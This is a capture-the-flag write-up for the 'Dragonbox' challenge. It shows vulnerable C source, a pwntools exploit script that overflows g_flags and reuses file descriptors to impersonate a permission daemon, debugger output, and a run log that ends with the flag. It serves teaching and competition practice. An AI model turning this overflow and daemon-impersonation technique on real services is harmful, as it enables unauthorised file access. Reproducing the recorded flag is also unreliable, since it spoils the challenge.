Dragonbox
Connect to below address to spawn your team dedicated instance of the task. You can find your team token in “edit profile”.
Warning! Connections to the spawned instance will be limited to the IP address which connected to the launcher (below address) and spawned the instance. There is a limit of one instance per team.
Hint: flag is in “/flag.txt”. This challenge is running on Ubuntu 20.04. Clarification: “/proc” is not mounted in the challenge setup.
nc dragonbox.hackable.software 1337
Attachment: dragonbox.tar.gz xpl.py
Team: Super Guesser
Dragonbox was kind of a file download service. It spawns a server process, to which we can connect and request a file. It would then spawn a daemon, which communicates to the service via a socket. The server process would send our request to the daemon, which then checks, if the user is allowed to access the file and answers the server with either yes
or no
.
Skimming through the provided source code, a buffer overflow on bss can be spotted.
static char g_username[0x100];
static char g_password[0x100];
...
static int g_flags;
...
static void set_user(const char* username, const char* password) {
if (!password) {
/* Disallow empty pass for security reasons */
password = "default";
}
strcpy(g_username, username);
strcpy(g_password, password);
}
...
static bool get_user(int fd) {
char buf[sizeof(g_username) + 1/*':'*/ + sizeof(g_password)] = { 0 }; // Size 0x201
while (1) {
ssize_t x = read(fd, buf, sizeof(buf) - 1);
if (x < 0) {
if (errno == EINTR || errno == EAGAIN) {
sched_yield();
continue;
}
return false;
} else if (x == 0) {
return false;
}
if (buf[x - 1] == '\n') {
buf[x - 1] = 0;
}
break;
}
char* username = buf; // Username at start of buf
char* password = strchr(buf, ':'); // Password starts at :
if (password) {
*password++ = 0;
}
set_user(username, password);
return true;
}
So, we can send 0x200 bytes as “authentication token” and the get_user
function will take the string at the beginning of our token as username, then searches for :
and takes everything after as password and then strcpy
it into g_username
and g_password
.
If we provide a token like A:B*0x140
, this will overflow g_password
and overwrite g_flags
.
As this was the only obvious bug, I found on first glance, I checked, where g_flags
is used.
while (1) {
int client_fd = accept4(s, NULL, NULL, g_flags);
if (client_fd < 0) {
err(1, "accept");
}
First usage was in the connection handling for new clients.
Though, when I corrupted g_flags
and tried to connect another client to the server afterwards, connection mostly failed, so we have to keep this in mind, that we’ll need a clean g_flags
, if we want to connect to the server.
static bool spawn_daemon(void) {
int x = socketpair(AF_UNIX, SOCK_STREAM | g_flags, 0, g_daemon_fds);
if (x < 0) {
return false;
}
pid_t p = fork();
if (p < 0) {
return false;
} else if (p == 0) {
close(g_daemon_fds[0]);
do_pass_daemon();
}
return true;
}
When we request a file for the first time, the server will check, if a permission daemon is already running (by checking g_daemon_fds != -1
).
If it’s not up, it will create a socket and pipe fds to communicate with it and fork.
This means, if we overwrite g_flags
before requesting a file, we could maybe influence the socket creation of the daemon.
Played around with different flags to see, what will happen when the server tries to create the daemon and something interesting occured :)
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "dragonbox.hackable.software"
PORT = 27930
def exploit(r):
log.info("Send authentication token to overflow g_flags")
payload = "A:" + "B"*0x100 + p16(6)
r.send(payload)
r.recvuntil("Welcome!")
log.info("Trigger file request to spawn permission daemon")
path = "/flag.txt"
filerequest = "1" + p32(len(path)) + path
r.send(filerequest)
r.recvuntil("denied")
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
else:
LOCAL = True
r = remote("localhost", 7777)
print (util.proc.pidof(r))
pause()
exploit(r)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x7
$rbx : 0x0
$rcx : 0x0000555555559010 → 0xffffffffffffffff
$rdx : 0x0
$rsp : 0x00007ffff7da5e60 → 0x0000000000000009 ("\t"?)
$rbp : 0x00007ffff7da5e70 → 0x00007ffff7da5eb0 → 0x00007ffff7da5ef0 → 0x0000000000000000
$rsi : 0x7
$rdi : 0x1
$rip : 0x0000555555555f62 → <spawn_daemon+40> call 0x555555555360 <socketpair@plt>
$r8 : 0x0
$r9 : 0x0
$r10 : 0x4022
$r11 : 0x0
$r12 : 0x00007fffffffe1fe → 0x0000000000000100
$r13 : 0x00007fffffffe1ff → 0x0000000000000001
$r14 : 0x00007fffffffe200 → 0x0000000000000000
$r15 : 0x00007ffff7da5fc0 → 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555555f56 <spawn_daemon+28> mov edx, 0x0
0x555555555f5b <spawn_daemon+33> mov esi, eax
0x555555555f5d <spawn_daemon+35> mov edi, 0x1
→ 0x555555555f62 <spawn_daemon+40> call 0x555555555360 <socketpair@plt>
↳ 0x555555555360 <socketpair@plt+0> endbr64
0x555555555364 <socketpair@plt+4> bnd jmp QWORD PTR [rip+0x3c0d] # 0x555555558f78 <socketpair@got.plt>
0x55555555536b <socketpair@plt+11> nop DWORD PTR [rax+rax*1+0x0]
0x555555555370 <pthread_mutex_unlock@plt+0> endbr64
0x555555555374 <pthread_mutex_unlock@plt+4> bnd jmp QWORD PTR [rip+0x3c05] # 0x555555558f80 <pthread_mutex_unlock@got.plt>
0x55555555537b <pthread_mutex_unlock@plt+11> nop DWORD PTR [rax+rax*1+0x0]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffff7da5e60│+0x0000: 0x0000000000000009 ("\t"?) ← $rsp
0x00007ffff7da5e68│+0x0008: 0x0000000000000009 ("\t"?)
0x00007ffff7da5e70│+0x0010: 0x00007ffff7da5eb0 → 0x00007ffff7da5ef0 → 0x0000000000000000 ← $rbp
0x00007ffff7da5e78│+0x0018: 0x0000555555555ff1 → <user_has_perm+70> xor eax, 0x1
0x00007ffff7da5e80│+0x0020: 0x00007ffff7da5eb0 → 0x00007ffff7da5ef0 → 0x0000000000000000
0x00007ffff7da5e88│+0x0028: 0x0000555555559180 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
socketpair@plt (
$rdi = 0x0000000000000001,
$rsi = 0x0000000000000007,
$rdx = 0x0000000000000000,
$rcx = 0x0000555555559010 → 0xffffffffffffffff
)
This will now try to call socketpair(AF_UNIX, SOCK_DGRAM|SOCK_SEQPACKET, 0, &g_daemon_fds)
, which seems to be an invalid type combination and will fail to create a socket.
The manpacke of socketpairs tells us
RETURN VALUE
On success, zero is returned. On error, -1 is returned, errno is set
appropriately, and sv is left unchanged
On Linux (and other systems), socketpair() does not modify sv on fail‐
ure. A requirement standardizing this behavior was added in
POSIX.1-2008 TC2.
But checking g_daemon_fds
shows something different.
gef➤ x/30gx 0x0000555555559010
0x555555559010 <g_daemon_fds>: 0x0000000700000006 0x0000000000001e61
So, no socket was created, since socketpair
failed, but g_daemon_fds
was set nevertheless to fd 6
and 7
.
We can abuse the fact, that those fds are still free by connecting more clients to the server and with enough connections, one of the new clients will overtake fd 6
and 7
. By this we can impersonate the permission daemon itself.
But since we have overwritten g_flags
, we cannot connect to the server anymore, because accept4
will fail.
Though, we can overcome this by connecting a second client directly at the start, before overwriting g_flags
with our first client. After letting the daemon spawn fail, we can use the second client authentication to fix g_flags
again, enabling us to connect more clients again.
log.info("Open connection 2 in waiting state")
r2 = connect()
log.info("Send authentication token to overflow g_flags")
payload = "A:" + "B"*0x100 + p16(6)
... (let spawn fail)
log.info("Fix gflags via 2nd client")
payload = "A:" + "B"*0x100 + p16(0)
r2.send(payload)
r2.recvuntil("Welcome!")
g_flags
will contain 0
again and we’re ablet to connect to the server without any issue again.
log.info("Create more connections to impersonate permission daemon")
r3 = connect()
r4 = connect() # daemon
r5 = connect() # daemon
r4.sendline("default:default")
r4.recvuntil("Welcome!")
After connecting more clients, r4
will now have the same fd
as the (not existing) permission daemon socket.
Thus, we can now request the file again via our first connection, but this time, it will send its request to our connection r4
, so we can just simply answer with a yes
.
log.info("Send file request again to our own daemon")
r.send(filerequest)
log.info("Send allow response")
r4.send(p32(3)+"yes")
This will let the server think, that we’re indeed allowed to read the flag:
$ python work.py 1
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[*] Open connection 2 in waiting state
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[*] Send authentication token to overflow g_flags
[*] Trigger file request to spawn permission daemon
[*] Fix gflags via 2nd client
[*] Create more connections to impersonate permission daemon
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[+] Opening connection to dragonbox.hackable.software on port 24028: Done
[*] Send file request again to our own daemon
[*] Send allow response
[*] Switching to interactive mode
$\x00\x00DrgnS{M4np4g3_l13s_eV3rYTH1n9_Li3S}